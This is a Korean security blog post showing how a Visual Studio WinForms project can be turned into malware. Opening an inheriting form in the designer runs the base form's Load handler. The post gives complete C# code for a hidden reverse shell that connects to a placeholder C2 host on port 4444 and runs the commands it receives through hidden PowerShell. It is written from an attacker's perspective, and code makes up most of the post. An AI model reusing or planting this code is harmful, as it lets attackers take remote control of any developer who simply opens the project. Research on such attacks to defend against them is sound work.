Security/system hacking

Winforms 프로젝트를 활용한 악성코드 제작

KimKwangWoon 2025. 11. 12. 01:35

최근 아는 지인 개발자를 통해 닷넷 Winforms에서 재밌는 코드 실행 방법이 있다고 전해 들었다

 

내용은 아래의 블로그와 같은데 단순히 Winforms으로 작성된 UI 디자이너를 Visual Studio에서 열었을 때 코드가 실행이 되게 구성을 할수 있다고 하는데

https://chanos-dev.github.io/posts/visualstudio-designer/

 

Winforms 디자이너 보기를 했는데 코드가 실행된다?

winforms designer

chanos-dev.github.io

 

처음에는 이게 말이 안된다고 생각했다

사용자 상호작용은 단순히 UI 디자이너를 여는 상호작용만 존재하고 그 외에 상호작용 없이 Visual Studio에서 코드가 실행이 된다는게 이해가 안되었다

 

블로그 내용이 워낙 상세히 작성되어 있어서 더 이상 설명할 게 없을 것 같아서 기술적으로 동작하는 원인보다는 악성 행위자 관점에서 어떻게 악용될 수 있는지를 다루는게 좋을 것 같다고 생각했다

 

블로그에서 제공된 아래의 예제 코드를 보면 악성 코드 동작 이해가 빠를 수 있기 때문에 첨부한다

#BaseForm.cs
public class BaseForm : Form
{
    public BaseForm()
    {
        Load += (sender, e) => MessageBox.Show("Load Test");
    }
}

#MainForm.cs
public partial class MainForm : BaseForm
{
    public MainForm()
    {
        InitializeComponent();
    }
}

 

MainForm 클래스에서 BaseForm을 상속 받고 BaseForm에서 동작시킬 코드에 대한 내용을 작성하면 아래와 같이 MainForm UI 디자이너를 실행했을 때 트리거된다

 

MainForm UI 디자이너를 더블클릭하여 실행하면 디자이너가 MainForm의 인스턴스화를 시작하고, C#의 상속 규칙에 따라서 부모 클래스인 BaseForm이 먼저 선행되어 실행되는 상황이 발생하는 것으로 이해된다

따라서 BaseForm에서 작성한 Load += (sender, e) => MessageBox.Show("Load Test"); 구문이 실행되고, 확인을 누르면 디자이너에 UI가 나타나게 된다

 

지금까지의 동작 원리와 예제 코드에 악성 코드를 추가하여 아래와 악성 코드가 실행되게 악용할 수 있다

# BaseForm.cs
using System;
using System.Windows.Forms;
using System.Diagnostics;
using System.Text;
using System.Net.Sockets;
using System.IO;

namespace WinFormsPoc
{
    public class BaseForm : Form
    {
        public BaseForm()
        {
            Load += (sender, e) =>
            {
                System.Threading.Tasks.Task.Run(() => ConnectAndListen("c2-ip", 4444));
            };
        }

        public string ExecuteCommand(string command)
        {
            try
            {
                Process process = new Process();
                process.StartInfo.FileName = "powershell.exe";
                process.StartInfo.Arguments = $"-Command \"{command}\"";

                process.StartInfo.UseShellExecute = false;
                process.StartInfo.RedirectStandardOutput = true;
                process.StartInfo.RedirectStandardError = true;
                process.StartInfo.CreateNoWindow = true;

                process.Start();

                string output = process.StandardOutput.ReadToEnd();
                string error = process.StandardError.ReadToEnd();

                process.WaitForExit();

                if (!string.IsNullOrEmpty(error))
                {
                    return $"ERROR: {error}";
                }
                return output;
            }
            catch (Exception ex)
            {
                return $"명령어 실행 중 오류 발생: {ex.Message}";
            }
        }
        public void ConnectAndListen(string host, int port)
        {
            try
            {
                TcpClient client = new TcpClient(host, port);
                NetworkStream stream = client.GetStream();

                StreamReader reader = new StreamReader(stream, Encoding.ASCII);
                StreamWriter writer = new StreamWriter(stream, Encoding.ASCII) { AutoFlush = true };

                string command;
                while ((command = reader.ReadLine()) != null)
                {
                    if (command.Trim().ToLower() == "exit")
                    {
                        break;
                    }

                    string result = ExecuteCommand(command);
                    if (result != null)
                    {
                        writer.WriteLine(result);
                    }
                }

                reader.Close();
                writer.Close();
                stream.Close();
                client.Close();
            }
            catch (Exception ex)
            {
                MessageBox.Show($"포트 연결 중 오류 발생: {ex.Message}", "오류", MessageBoxButtons.OK, MessageBoxIcon.Error);
            }
        }
    }
}

# Form1.cs
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
using WinFormsPoc;

namespace winformMalPoC
{
    public partial class Form1 : BaseForm
    {
        public Form1()
        {
            InitializeComponent();
        }
    }
}

 

쉘 연결 성공

'Security > system hacking' 카테고리의 다른 글

DLL vs Reflected Injection  (0) 2025.07.23
[Hook] MinHook 빌드 및 사용 방법  (0) 2025.05.14
[tool] Powershell Reverse Shell  (0) 2025.02.24
[tool] All Process RWX Shellcode Execution  (0) 2025.02.24
[tool] RWX Shellcode Execution  (0) 2025.02.20